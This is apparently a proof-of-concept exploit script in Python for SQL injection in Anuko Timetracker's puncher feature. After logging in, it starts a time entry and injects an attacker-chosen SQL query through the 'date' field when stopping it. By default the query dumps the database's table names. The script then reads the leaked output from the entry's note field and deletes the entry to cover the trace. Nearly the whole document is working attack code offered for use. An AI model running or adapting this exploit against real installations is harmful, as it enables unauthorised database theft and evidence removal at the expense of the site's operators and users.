from time import time import requests import argparse import re from bs4 import BeautifulSoup from datetime import datetime, timedelta def get_puncher_page(): punch_txt = r_client.get(host + "/puncher.php").text if "Feature is disabled" in punch_txt: print("[-] Puncher feature is disabled.") exit(0) print("[+] Puncher feature is enabled. Picking a project...") soup = BeautifulSoup(punch_txt, features="lxml") time_record_form = soup.find("select", {"name" : "project", "id" : "project"}) project_list = time_record_form.findAll("option") if len(project_list) <= 1: print("[-] No project to choose from") exit(0) f_proj = project_list[1] print("[*] Picking the first project in the option: [{} - {}]".format(f_proj['value'], f_proj.text)) return f_proj['value'] def login(username, password): global r_client data = { "login" : username, "password" : password, "btn_login" : "Login", } login_txt = r_client.post(host + "/login.php", data=data).text if "Incorrect" in login_txt: print("[-] Failed to login. Credentials are not correct.") exit(0) print("[+] Login successful!") def start_puncher(project_id): global r_client data = { "project": project_id, "btn_start": "Start", "browser_today" : "", "browser_time" : "04:00", "date": "{}-{}-{}".format(date.year, date.month, date.day) } headers = { "Referer" : host + "/puncher.php" } start_p = r_client.post(host + "/puncher.php", data=data, headers=headers).text if "Uncompleted entry already" in start_p: print("[-] A running puncher entry is seen. Exiting") exit(0) print("[*] Puncher started. Getting id added...") puncher_p = r_client.get(host + "/puncher.php?date={}-{}-{}".format(date.year, date.month, date.day)).text time_edit_ids = re.findall("time_edit.php\?id=\d+",puncher_p) time_edit_ids.sort() latest_id = time_edit_ids[-1].split("=")[1] return latest_id def stop_puncher_sqli(project_id, sqli=""): get_all_tables = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()" if sqli == "": sqli = get_all_tables new_date = date+timedelta(minutes=10) data = { "btn_stop": "Stop", "browser_today" : "", "browser_time" : "04:10", "date": "{}-{}-{}', comment=(({})), date='{}-{}-{}".format(date.year, date.month, date.day, sqli, date.year, date.month, date.day) } headers = { "Referer" : host + "/puncher.php" } stop_p = r_client.post(host + "/puncher.php", data=data, headers=headers,allow_redirects=False).text print("[*] Puncher stopped") def get_puncher_result(puncher_id): time_edit_p = r_client.get(host + "/time_edit.php?id={}".format(puncher_id)).text soup = BeautifulSoup(time_edit_p, features="lxml") note_content = soup.find("textarea", {"name" : "note", "id" : "note"}) print("[+] Leaked: {}".format(note_content.text)) def delete_puncher_entry(puncher_id): data = { "delete_button" : "Delete", "id" : puncher_id } headers = { "Referer" : "http://10.0.2.15/time_delete.php?id={}".format(puncher_id) } del_p = r_client.post(host + "/time_delete.php?id={}".format(puncher_id), data=data, headers=headers) print("[*] Puncher {} deleted".format(puncher_id)) parser = argparse.ArgumentParser() parser.add_argument('--username', required=True, help="Anuko Timetracker username") parser.add_argument('--password', required=True, help="Anuko Timetracker password") parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000") parser.add_argument('--sqli', required=False, help="SQL query to run. Defaults to getting all tables") args = parser.parse_args() r_client = requests.Session() host = args.host date = datetime.now() username = args.username password = args.password login(username, password) proj_id = get_puncher_page() puncher_id = start_puncher(proj_id) sqli="" if args.sqli != None: sqli = args.sqli stop_puncher_sqli(proj_id, sqli=sqli) get_puncher_result(puncher_id) delete_puncher_entry(puncher_id)